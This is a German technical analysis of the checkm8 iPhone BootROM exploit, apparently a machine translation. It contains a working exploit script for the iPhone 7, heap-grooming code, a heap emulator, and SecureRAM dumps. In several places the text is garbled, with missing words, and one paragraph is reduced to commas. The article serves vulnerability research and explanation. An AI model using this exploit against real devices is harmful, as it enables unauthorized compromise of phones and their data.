Technische Analyse des checkm8-Exploits


Mit hoher Wahrscheinlichkeit haben Sie bereits von dem sensationellen checkm8- Exploit gehört, der eine nicht behebbare Sicherheitsanfälligkeit im BootROM meisten iDevices, einschließlich iPhone X In diesem Artikel werden wir eine technische Analyse des Exploits bereitstellen und die Ursachen der Sicherheitsanfälligkeit untersuchen. Interessierte - willkommen unter dem Schnitt!


Die englische Version des Artikels können Sie hier lesen.


Einführung


Zunächst werden wir den iDevice-Startvorgang kurz beschreiben und herausfinden, welchen Platz BootROM einnimmt (es kann auch als SecureROM ) und warum es benötigt wird. Ganz detaillierte Informationen dazu finden Sie hier . Der vereinfachte Startvorgang kann wie folgt dargestellt werden:



BootROM ist das erste, was der Prozessor ausführt, wenn das Gerät eingeschaltet wird. Die Hauptaufgaben von BootROM :


  • Initialisierung der Plattform (Einstellen der erforderlichen Plattformregister, Initialisieren der CPU usw.)
  • Überprüfung und Übertragung der Kontrolle auf die nächste Ladestufe
    • BootROM unterstützt das Parsen von IMG3/IMG4 Images
    • BootROM hat Zugriff auf den GID Schlüssel zum Entschlüsseln von Bildern
    • Zum Überprüfen von Bildern ist der öffentliche Apple Schlüssel in BootROM , und es gibt die erforderlichen Funktionen für die Arbeit mit Kryptografie
  • Wiederherstellen eines Geräts, wenn kein weiterer Download möglich ist ( Device Firmware Update , DFU )

BootROM sehr klein und kann als abgespeckte Version von iBoot , da sie den größten Teil des System- und Bibliothekscodes gemeinsam nutzen. Im Gegensatz zu iBoot kann BootROM jedoch nicht aktualisiert werden. Es wird bei der Herstellung des Geräts im internen Nur-Lese-Speicher abgelegt. BootROM ist das Hardware-Stammverzeichnis der Boot Chain Trust. Durch die darin enthaltenen Sicherheitslücken können Sie die Kontrolle über den weiteren Download-Prozess erlangen und nicht signierten Code auf dem Gerät ausführen.



Das Aussehen von checkm8


Der checkm8 Exploit wurde am 27. September 2019 vom Autor axi0mX zum Dienstprogramm checkm8 hinzugefügt. Anschließend kündigte er ein Update auf seinem Twitter-Konto an, das eine Beschreibung des Exploits und zusätzliche Informationen enthielt . Sie können dem Thread entnehmen iBoot der Autor während des Patch-Diffing- iBoot für iOS 12 beta im Sommer 2018 die Sicherheitslücke im USB Code gefunden hat. Wie bereits erwähnt, haben BootROM und iBoot viel gemeinsamen Code, einschließlich Code für USB , weshalb diese Sicherheitsanfälligkeit auch für BootROM relevant BootROM .


Aus dem Exploit-Code folgt auch, dass die Sicherheitsanfälligkeit in DFU ausgenutzt wird. In diesem Modus kann ein signiertes Bild über USB auf das Gerät übertragen und anschließend heruntergeladen werden. Dies kann beispielsweise erforderlich sein, um das Gerät wiederherzustellen, wenn das Update nicht erfolgreich ist.


Am selben Tag berichtete littlelailo , dass er diese Sicherheitsanfälligkeit im März gefunden hatte, und veröffentlichte ihre Beschreibung in der Datei apollo.txt . Die Beschreibung entsprach dem, was im checkm8 Code passiert, verdeutlicht jedoch die Details des Exploits nicht vollständig. Aus diesem BootROM wir uns entschlossen, diesen Artikel zu schreiben und alle Details des Vorgangs bis zur Ausführung der Nutzdaten in BootROM einschließlich zu beschreiben.


Wir haben eine Exploit-Analyse durchgeführt, die auf den zuvor genannten Materialien sowie auf dem im Februar 2018 durchgesickerten iBoot/SecureROM Quellcode iBoot/SecureROM . Wir haben auch Daten verwendet, die experimentell auf unserem Testgerät - iPhone 7 ( CPID:8010 ) - erhalten wurden. Mit checkm8 wir die SecureROM und SecureRAM Dumps entfernt, was uns bei der Analyse geholfen hat.


Grundlegende USB-Kenntnisse


Die erkannte Sicherheitsanfälligkeit befindet sich im USB Code, daher sind einige Kenntnisse über diese Schnittstelle erforderlich. Sie können die vollständige Spezifikation hier lesen, aber sie ist ziemlich umfangreich. Ein hervorragendes Material, das für ein besseres Verständnis mehr als ausreichend ist, ist USB in a NutShell . Hier geben wir nur das Notwendigste.


Es gibt verschiedene Arten der USB Datenübertragung. DFU verwendet nur den Control Transfers Modus (darüber können Sie hier lesen). Jede Transaktion in diesem Modus besteht aus drei Phasen:



  • Setup Stage - In dieser Phase wird ein SETUP Paket gesendet, das aus den folgenden Feldern besteht:
    • bmRequestType - beschreibt die Richtung, den Typ und den Empfänger der Anforderung
    • bRequest - Bestimmt, welche Anfrage gestellt wird
    • wValue , wIndex - je nach Anforderung können sie unterschiedlich interpretiert werden
    • wLength - Länge der empfangenen / gesendeten Daten in der wLength
  • Data Stage - Eine optionale Phase, in der die Datenübertragung stattfindet. Abhängig vom SETUP Paket aus der vorherigen Stufe werden möglicherweise Daten vom Host an das Gerät OUT ( OUT ) oder umgekehrt ( IN ). Die Daten werden in kleinen Portionen gesendet (im Fall von Apple DFU sind es 0x40 Bytes).
    • Wenn der Host den nächsten Datenstapel übertragen möchte, sendet er ein OUT Token, wonach die Daten selbst gesendet werden.
    • Wenn der Host bereit ist, Daten vom Gerät zu empfangen, sendet er ein IN Token, auf das das Gerät Daten sendet.
  • Status Stage - Die letzte Phase, in der der Status der gesamten Transaktion gemeldet wird.
    • Bei OUT Anforderungen sendet der Host ein IN Token, auf das das Gerät ein Datenpaket mit der Länge Null senden soll.
    • Bei IN Anforderungen sendet der Host ein OUT Token und ein Datenpaket mit der Länge Null.

OUT und IN Abfragen sind in der folgenden Abbildung dargestellt. Wir haben NACK , NACK und andere Handshake-Pakete absichtlich aus dem Beschreibungs- und Interaktionsschema entfernt, da sie im Exploit selbst keine besondere Rolle spielen.



Analyse apollo.txt


Wir haben die Analyse gestartet, indem wir die Sicherheitsanfälligkeit aus dem Dokument apollo.txt analysiert haben . Es beschreibt den Algorithmus des DFU Modus:


https://gist.github.com/littlelailo/42c6a11d31877f98531f6d30444f59c4
  1. Wenn USB gestartet wird, um ein Bild über dfu zu erhalten, registriert dfu eine Schnittstelle, um alle Befehle zu verarbeiten, und weist einen Puffer für die Eingabe und Ausgabe zu
  2. Wenn Sie Daten an dfu senden, wird das Setup-Paket vom Hauptcode verarbeitet, der dann den Schnittstellencode aufruft
  3. Der Schnittstellencode überprüft, ob wLength kürzer als die Länge des Eingabeausgabepuffers ist. In diesem Fall wird ein als Argument übergebener Zeiger mit einem Zeiger auf den Eingabeausgabepuffer aktualisiert
  4. es gibt dann wLength zurück, die die Länge ist, die es in den Puffer empfangen möchte
  5. Der USB-Hauptcode aktualisiert dann eine globale Variable mit der Länge und macht sich bereit, die Datenpakete zu empfangen
  6. Wenn ein Datenpaket empfangen wird, wird es über den Zeiger, der als Argument übergeben wurde, in den Eingabeausgabepuffer geschrieben, und eine andere globale Variable wird verwendet, um zu verfolgen, wie viele Bytes bereits empfangen wurden
  7. Wenn alle Daten empfangen wurden, wird der dfu-spezifische Code erneut aufgerufen. Anschließend wird der Inhalt des Eingabe-Ausgabepuffers an den Speicherort kopiert, von dem aus das Bild später gestartet wird
  8. Danach setzt der USB-Code alle Variablen zurück und bearbeitet neue Pakete
  9. Wenn dfu beendet wird, wird der Eingabe- / Ausgabepuffer freigegeben, und wenn das Parsen des Images fehlschlägt, wird das Bootrom erneut in dfu eingegeben

Zuerst haben wir die beschriebenen Schritte mit dem iBoot Quellcode verglichen. Da wir in diesem Artikel keine Fragmente von durchgesickertem Quellcode verwenden können, zeigen wir den Pseudocode, der durch SecureROM Reverse Engineering unseres iPhone 7 in IDA . Sie können den Quellcode von iBoot leicht finden und darin navigieren.


Wenn der DFU Modus initialisiert wird, wird ein IO Puffer zugewiesen und eine USB Schnittstelle für die Verarbeitung von Anforderungen an die DFU registriert:



Wenn ein SETUP Anforderungspaket bei der DFU ankommt, wird der entsprechende Schnittstellenhandler aufgerufen. Bei erfolgreicher Ausführung der OUT Anforderung (z. B. während der Bildübertragung) muss der Handler die Adresse des IO Puffers für die Transaktion und die Größe der Daten zurückgeben, die er IO per Zeiger empfangen wird. In diesem Fall werden die Pufferadresse und die Größe der erwarteten Daten in globalen Variablen gespeichert.



Der Interface-Handler für DFU ist im folgenden Screenshot dargestellt. Wenn die Anforderung korrekt ist, werden die Adresse des in der DFU Initialisierungsphase zugewiesenen IO Puffers und die Länge der erwarteten Daten, die aus dem SETUP Paket entnommen werden, vom Zeiger zurückgegeben.



Während der Data Stage jedes Datenelement in den IO Puffer geschrieben, wonach die Adresse des IO Puffers verschoben und der Zähler der empfangenen Daten aktualisiert wird. Nach dem Empfang aller erwarteten Daten wird der Schnittstellendatenhandler aufgerufen und der globale Übertragungsstatus gelöscht.



Im DFU Datenhandler werden die empfangenen Daten in den Speicherbereich verschoben, aus dem der Download fortgesetzt wird. Nach dem iBoot Quellcode zu urteilen, heißt dieser Speicherbereich in Apple INSECURE_MEMORY .



Beim Verlassen des DFU Modus wird der zuvor zugewiesene IO Puffer freigegeben. Wenn das Bild im DFU Modus erfolgreich empfangen wurde, wird es überprüft und geladen. Wenn während des Betriebs des DFU Modus ein Fehler aufgetreten ist oder das resultierende Image nicht geladen werden kann, wird die DFU neu initialisiert und alles beginnt von vorne.


In dem beschriebenen Algorithmus liegt die Sicherheitslücke " use-after-free . Wenn Sie beim Booten ein SETUP Paket senden und die Transaktion durch Überspringen der SETUP abschließen, bleibt der globale Status beim erneuten Eintritt in den DFU Zyklus initialisiert, und wir können an die Adresse des IO Puffers schreiben, der in der vorherigen DFU Iteration zugewiesen wurde.


Nachdem wir uns mit der Sicherheitsanfälligkeit " use-after-free , fragten wir uns: Wie kann ich bei der nächsten DFU Iteration etwas überschreiben? Schließlich werden vor der erneuten Initialisierung der DFU alle zuvor zugewiesenen Ressourcen freigegeben, und der Speicherort in der neuen Iteration sollte genau gleich sein. Es stellt sich heraus, dass es einen weiteren interessanten und sehr schönen Speicherverlustfehler gibt, der es ermöglicht, die Sicherheitsanfälligkeit zu nutzen, die wir später diskutieren werden.


Checkm8-Analyse


Wir fahren direkt mit der Analyse des checkm8 Exploits fort. Der Einfachheit halber werden wir eine modifizierte Version des Exploits für das iPhone 7 analysieren, in der der mit anderen Plattformen verknüpfte Code entfernt, die Reihenfolge und die Arten von USB Anforderungen geändert wurden, ohne den Exploit zu verlieren. Auch in dieser Version wird der Prozess zum checkm8.py der Nutzdaten entfernt. Er befindet sich in der ursprünglichen Datei checkm8.py . Das Verständnis der Unterschiede zwischen den Versionen für andere Geräte sollte nicht schwierig sein.


 #!/usr/bin/env python from checkm8 import * def main(): print '*** checkm8 exploit by axi0mX ***' device = dfu.acquire_device(1800) start = time.time() print 'Found:', device.serial_number if 'PWND:[' in device.serial_number: print 'Device is already in pwned DFU Mode. Not executing exploit.' return payload, _ = exploit_config(device.serial_number) t8010_nop_gadget = 0x10000CC6C callback_chain = 0x1800B0800 t8010_overwrite = '\0' * 0x5c0 t8010_overwrite += struct.pack('<32x2Q', t8010_nop_gadget, callback_chain) # heap feng-shui stall(device) leak(device) for i in range(6): no_leak(device) dfu.usb_reset(device) dfu.release_device(device) # set global state and restart usb device = dfu.acquire_device() device.serial_number libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001) libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0) dfu.release_device(device) time.sleep(0.5) # heap occupation device = dfu.acquire_device() device.serial_number stall(device) leak(device) leak(device) libusb1_no_error_ctrl_transfer(device, 0, 9, 0, 0, t8010_overwrite, 50) for i in range(0, len(payload), 0x800): libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i+0x800], 50) dfu.usb_reset(device) dfu.release_device(device) device = dfu.acquire_device() if 'PWND:[checkm8]' not in device.serial_number: print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.' sys.exit(1) print 'Device is now in pwned DFU Mode.' print '(%0.2f seconds)' % (time.time() - start) dfu.release_device(device) if __name__ == '__main__': main() 

checkm8 Arbeit kann in mehrere Phasen unterteilt werden:


  1. Haufenvorbereitung ( heap feng-shui )
  2. Zuweisung und Freigabe des IO Puffers ohne Löschen des globalen Status
  3. Überschreiben von usb_device_io_request auf dem Heap mit use-after-free
  4. Platzierung der Nutzlast
  5. Ausführung der callback-chain
  6. shellcode Ausführung

Betrachten Sie jede der Phasen im Detail.


1. Haufenvorbereitung (Haufen Feng-Shui)


Es scheint uns, dass dies die interessanteste Etappe ist, und wir haben ihr besondere Aufmerksamkeit geschenkt.


 stall(device) leak(device) for i in range(6): no_leak(device) dfu.usb_reset(device) dfu.release_device(device) 

Dieser Schritt ist erforderlich, um einen bequemen Heap-Status für den use-after-free Betrieb zu erreichen. Betrachten Sie zunächst die Anrufe stall , leak , no_leak :


 def stall(device): libusb1_async_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 'A' * 0xC0, 0.00001) def leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC0, 1) def no_leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC1, 1) 

libusb1_no_error_ctrl_transfer ist ein Wrapper über device.ctrlTransfer bei dem alle Ausnahmen ignoriert werden, die während der Ausführung der Anforderung aufgetreten sind. libusb1_async_ctrl_transfer - ein Wrapper über die Funktion libusb_submit_transfer von libusb für die asynchrone Abfrageausführung.


Beide Aufrufe akzeptieren die folgenden Parameter:


  • Geräteinstanz
  • Daten für das SETUP Paket (ihre Beschreibung finden Sie hier ):
    • bmRequestType
    • bRequest
    • wValue
    • wIndex
  • wLength ( wLength ) oder Daten für Data Stage
  • Timeout anfordern

Die Argumente bmRequestType , bRequest , wValue und wIndex sind allen drei wIndex gemeinsam. Sie bedeuten:


  • bmRequestType = 0x80
    • 0b1XXXXXXX - Richtung der 0b1XXXXXXX vom Gerät zum Host (Gerät zu Host)
    • 0bX00XXXXX - Standardanforderungstyp
    • 0bXXX00000 - Empfänger des Anforderungsgeräts
  • bRequest = 6 - Anforderung eines Deskriptors ( GET_DESCRIPTOR )
  • wValue = 0x304
    • wValueHigh = 0x3 - bestimmt den Typ des zu empfangenden Deskriptors - Zeichenfolge ( USB_DT_STRING )
    • wValueLow = 0x4 ist der Index des Zeichenfolgendeskriptors, 4 entspricht der Seriennummer des Geräts (in diesem Fall sieht die Zeichenfolge wie CPID:8010 CPRV:11 CPFM:03 SCEP:01 BDID:0C ECID:001A40362045E526 IBFL:3C SRTG:[iBoot-2696.0.0.1.33] )
  • wIndex = 0x40A - Kennung der Zeichenfolgensprache, deren Wert für den Betrieb nicht wichtig ist und geändert werden kann.

Für jede dieser drei Anforderungen werden 0x30 Bytes auf dem Heap für ein Objekt mit der folgenden Struktur zugewiesen:



Die interessantesten Felder dieses Objekts sind callback und next .


  • callback - Ein Zeiger auf eine Funktion, die aufgerufen wird, wenn die Anforderung abgeschlossen ist.
  • next - Ein Zeiger auf das nächste Objekt desselben Typs, der zum Einreihen von Anforderungen erforderlich ist.

Ein Hauptmerkmal des Aufrufs von stall ist die asynchrone Ausführung der Anforderung mit einem minimalen Zeitlimit. Wenn Sie Glück haben, wird die Anforderung auf Betriebssystemebene abgebrochen und verbleibt in der Ausführungswarteschlange, und die Transaktion wird nicht abgeschlossen. Gleichzeitig akzeptiert das Gerät weiterhin alle eingehenden SETUP Pakete und stellt sie gegebenenfalls in die Ausführungswarteschlange. Später konnten wir anhand von Experimenten mit einem USB auf Arduino herausfinden, dass der Host für einen erfolgreichen Betrieb ein SETUP Paket und ein IN Token senden muss, wonach die Transaktion durch Timeout abgebrochen werden muss. Schematisch kann eine solche unvollständige Transaktion wie folgt dargestellt werden:



Der Rest der Anfragen unterscheidet sich nur in der Länge und nur um eins. Tatsache ist, dass es für Standardabfragen einen Standardrückruf gibt, der folgendermaßen aussieht:



Der Wert io_length entspricht dem Minimum von wLength im SETUP Paket der Anforderung und der ursprünglichen Länge des angeforderten Deskriptors. Aufgrund der Tatsache, dass der Deskriptor lang genug ist, können wir den io_length Wert innerhalb seiner Länge genau steuern. Der Wert von g_setup_request.wLength entspricht dem Wert von wLength letzten SETUP Pakets, in diesem Fall 0xC1 .


Somit ist nach Abschluss von Abfragen, die unter Verwendung der stall und leak Aufrufe generiert wurden, die Bedingung in der endgültigen callback erfüllt und usb_core_send_zlp() aufgerufen. Dieser Aufruf erstellt einfach ein zero-length-packet mit der zero-length-packet und fügt es der Ausführungswarteschlange hinzu. Dies ist erforderlich, damit die Transaktion in der Status Stage korrekt abgeschlossen werden kann.


Die Anforderung endet mit einem Aufruf der Funktion usb_core_complete_endpoint_io , die zuerst den callback aufruft und dann den Anforderungsspeicher usb_core_complete_endpoint_io . Gleichzeitig kann der Abschluss der Anforderung nicht nur erfolgen, wenn die gesamte Transaktion tatsächlich abgeschlossen ist, sondern auch, wenn der USB zurückgesetzt wird. Sobald ein USB Rücksetzsignal empfangen wird, wird die Anforderungswarteschlange umgangen und jeder von ihnen wird abgeschlossen.


Durch den selektiven Aufruf von usb_core_send_zlp() , bei dem die Anforderungswarteschlange umgangen und dann freigegeben wird, können Sie eine ausreichende Heap-Kontrolle für den usb_core_send_zlp() Betrieb erreichen. Schauen wir uns zunächst den Release-Zyklus selbst an:



Die Anforderungswarteschlange wird zuerst gelöscht, dann werden die abgebrochenen Anforderungen usb_core_complete_endpoint_io und durch Aufrufen von usb_core_complete_endpoint_io . Gleichzeitig werden mit usb_core_send_zlp ausgewählte usb_core_send_zlp in ep->io_head . Nach Abschluss des USB Rücksetzvorgangs werden alle Informationen zum Endpunkt zurückgesetzt, einschließlich der io_tail io_head und io_tail , und Anforderungen mit der Länge Null verbleiben auf dem Heap. So können Sie einen kleinen Block in der Mitte des restlichen Haufens erstellen. Das folgende Diagramm zeigt, wie dies geschieht:



Der Heap in SecureROM konzipiert, dass aus einem geeigneten freien Block der kleinsten Größe ein neuer Speicherbereich zugewiesen wird. Durch Erstellen eines kleinen freien Blocks mit der oben beschriebenen Methode können Sie die Speicherzuweisung während der USB Initialisierung und die Zuweisung von io_buffer und Anforderungen beeinflussen.


Lassen Sie uns zum besseren Verständnis herausfinden, welche Heap-Anforderungen während der DFU Initialisierung auftreten. Bei der Analyse des iBoot Quellcodes und des iBoot Reverse Engineering SecureROM uns gelungen, die folgende Sequenz zu erhalten:


    1. Zuordnung verschiedener String-Deskriptoren
      • 1.1. Nonce (Größe 234 )
      • 1.2. Manufacturer ( 22 )
      • 1.3. Product ( 62 )
      • 1.4. Serial Number ( 198 )
      • 1.5. Configuration string ( 62 )

    1. Zuordnung im Zusammenhang mit der Erstellung der Aufgabe des USB
      • 2.1. Aufgabenstruktur ( 0x3c0 )
      • 2.2. 0x1000 ( 0x1000 )

    1. io_buffer ( 0x800 )

    1. Konfigurationsdeskriptoren
      • 4.1. High-Speed ( 25 )
      • 4.2. Full-Speed ( 25 )


Dann gibt es eine Zuordnung von Anforderungsstrukturen. Wenn sich in der Mitte des Heap-Bereichs ein kleiner Block befindet, werden einige Zuordnungen aus der ersten Kategorie in diesen usb_device_io_request verschoben, und alle anderen Zuordnungen werden verschoben, wodurch wir usb_device_io_request unter Bezugnahme auf den alten Puffer überlaufen können. Schematisch kann dies wie folgt dargestellt werden:



Um die erforderliche Verzerrung zu berechnen, haben wir uns entschlossen, die oben aufgeführten Zuordnungen einfach zu emulieren und den Quellcode des iBoot Heaps leicht anzupassen.


DFU-Heap-Emulation
 #include "heap.h" #include <stdio.h> #include <unistd.h> #include <sys/mman.h> #ifndef NOLEAK #define NOLEAK (8) #endif int main() { void * chunk = mmap((void *)0x1004000, 0x100000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); printf("chunk = %p\n", chunk); heap_add_chunk(chunk, 0x100000, 1); malloc(0x3c0); //        SecureRAM void * descs[10]; void * io_req[100]; descs[0] = malloc(234); descs[1] = malloc(22); descs[2] = malloc(62); descs[3] = malloc(198); descs[4] = malloc(62); const int N = NOLEAK; void * task = malloc(0x3c0); void * task_stack = malloc(0x4000); void * io_buf_0 = memalign(0x800, 0x40); void * hs = malloc(25); void * fs = malloc(25); void * zlps[2]; for(int i = 0; i < N; i++) { io_req[i] = malloc(0x30); } for(int i = 0; i < N; i++) { if(i < 2) { zlps[i] = malloc(0x30); } free(io_req[i]); } for(int i = 0; i < 5; i++) { printf("descs[%d] = %p\n", i, descs[i]); } printf("task = %p\n", task); printf("task_stack = %p\n", task_stack); printf("io_buf = %p\n", io_buf_0); printf("hs = %p\n", hs); printf("fs = %p\n", fs); for(int i = 0; i < 2; i++) { printf("zlps[%d] = %p\n", i, zlps[i]); } printf("**********\n"); for(int i = 0; i < 5; i++) { free(descs[i]); } free(task); free(task_stack); free(io_buf_0); free(hs); free(fs); descs[0] = malloc(234); descs[1] = malloc(22); descs[2] = malloc(62); descs[3] = malloc(198); descs[4] = malloc(62); task = malloc(0x3c0); task_stack = malloc(0x4000); void * io_buf_1 = memalign(0x800, 0x40); hs = malloc(25); fs = malloc(25); for(int i = 0; i < 5; i++) { printf("descs[%d] = %p\n", i, descs[i]); } printf("task = %p\n", task); printf("task_stack = %p\n", task_stack); printf("io_buf = %p\n", io_buf_1); printf("hs = %p\n", hs); printf("fs = %p\n", fs); for(int i = 0; i < 5; i++) { io_req[i] = malloc(0x30); printf("io_req[%d] = %p\n", i, io_req[i]); } printf("**********\n"); printf("io_req_off = %#lx\n", (int64_t)io_req[0] - (int64_t)io_buf_0); printf("hs_off = %#lx\n", (int64_t)hs - (int64_t)io_buf_0); printf("fs_off = %#lx\n", (int64_t)fs - (int64_t)io_buf_0); return 0; } 

Programmausgabe mit 8 Anforderungen in der heap feng-shui Phase:


 chunk = 0x1004000 descs[0] = 0x1004480 descs[1] = 0x10045c0 descs[2] = 0x1004640 descs[3] = 0x10046c0 descs[4] = 0x1004800 task = 0x1004880 task_stack = 0x1004c80 io_buf = 0x1008d00 hs = 0x1009540 fs = 0x10095c0 zlps[0] = 0x1009a40 zlps[1] = 0x1009640 ********** descs[0] = 0x10096c0 descs[1] = 0x1009800 descs[2] = 0x1009880 descs[3] = 0x1009900 descs[4] = 0x1004480 task = 0x1004500 task_stack = 0x1004900 io_buf = 0x1008980 hs = 0x10091c0 fs = 0x1009240 io_req[0] = 0x10092c0 io_req[1] = 0x1009340 io_req[2] = 0x10093c0 io_req[3] = 0x1009440 io_req[4] = 0x10094c0 ********** io_req_off = 0x5c0 hs_off = 0x4c0 fs_off = 0x540 

Die nächste usb_device_io_request befindet sich am Offset 0x5c0 vom Anfang des vorherigen Puffers, der dem Exploit-Code entspricht:


 t8010_overwrite = '\0' * 0x5c0 t8010_overwrite += struct.pack('<32x2Q', t8010_nop_gadget, callback_chain) 

, SecureRAM , checkm8 . , . , usb_device_io_request , .


 #!/usr/bin/env python3 import struct from hexdump import hexdump with open('HEAP', 'rb') as f: heap = f.read() cur = 0x4000 def parse_header(cur): _, _, _, _, this_size, t = struct.unpack('<QQQQQQ', heap[cur:cur + 0x30]) is_free = t & 1 prev_free = (t >> 1) & 1 prev_size = t >> 2 this_size *= 0x40 prev_size *= 0x40 return this_size, is_free, prev_size, prev_free while True: try: this_size, is_free, prev_size, prev_free = parse_header(cur) except Exception as ex: break print('chunk at', hex(cur + 0x40)) if this_size == 0: if cur in (0x9180, 0x9200, 0x9280): #    this_size = 0x80 else: break print(hex(this_size), 'free' if is_free else 'non-free', hex(prev_size), prev_free) hexdump(heap[cur + 0x40:cur + min(this_size, 0x100)]) cur += this_size 

. , .


SecureRAM
 chunk at 0x4040 0x40 non-free 0x0 0 chunk at 0x4080 0x80 non-free 0x40 0 00000000: 00 41 1B 80 01 00 00 00 00 00 00 00 00 00 00 00 .A.............. 00000010: 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 ................ 00000020: FF 00 00 00 00 00 00 00 68 3F 08 80 01 00 00 00 ........h?...... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x4100 0x140 non-free 0x80 0 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4240 0x240 non-free 0x140 0 00000000: 68 6F 73 74 20 62 72 69 64 67 65 00 00 00 00 00 host bridge..... 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4480 // descs[4], conf string 0x80 non-free 0x240 0 00000000: 3E 03 41 00 70 00 70 00 6C 00 65 00 20 00 4D 00 >.Apple .M. 00000010: 6F 00 62 00 69 00 6C 00 65 00 20 00 44 00 65 00 obile .De 00000020: 76 00 69 00 63 00 65 00 20 00 28 00 44 00 46 00 vice .(.DF 00000030: 55 00 20 00 4D 00 6F 00 64 00 65 00 29 00 FE FF U. .Mode)... chunk at 0x4500 // task 0x400 non-free 0x80 0 00000000: 6B 73 61 74 00 00 00 00 E0 01 08 80 01 00 00 00 ksat............ 00000010: E8 83 08 80 01 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4900 // task stack 0x4080 non-free 0x400 0 00000000: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000010: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000020: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000030: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000040: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000050: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000060: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000070: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000080: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000090: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 000000A0: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 000000B0: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats chunk at 0x8980 // io_buf 0x840 non-free 0x4080 0 00000000: 63 6D 65 6D 63 6D 65 6D 00 00 00 00 00 00 00 00 cmemcmem........ 00000010: 10 00 0B 80 01 00 00 00 00 00 1B 80 01 00 00 00 ................ 00000020: EF FF 00 00 00 00 00 00 10 08 0B 80 01 00 00 00 ................ 00000030: 4C CC 00 00 01 00 00 00 20 08 0B 80 01 00 00 00 L....... ....... 00000040: 4C CC 00 00 01 00 00 00 30 08 0B 80 01 00 00 00 L.......0....... 00000050: 4C CC 00 00 01 00 00 00 40 08 0B 80 01 00 00 00 L.......@....... 00000060: 4C CC 00 00 01 00 00 00 A0 08 0B 80 01 00 00 00 L............... 00000070: 00 06 0B 80 01 00 00 00 6C 04 00 00 01 00 00 00 ........l....... 00000080: 00 00 00 00 00 00 00 00 78 04 00 00 01 00 00 00 ........x....... 00000090: 00 00 00 00 00 00 00 00 B8 A4 00 00 01 00 00 00 ................ 000000A0: 00 00 0B 80 01 00 00 00 E4 03 00 00 01 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 34 04 00 00 01 00 00 00 ........4....... chunk at 0x91c0 // hs config 0x80 non-free 0x0 0 00000000: 09 02 19 00 01 01 05 80 FA 09 04 00 00 00 FE 01 ................ 00000010: 00 00 07 21 01 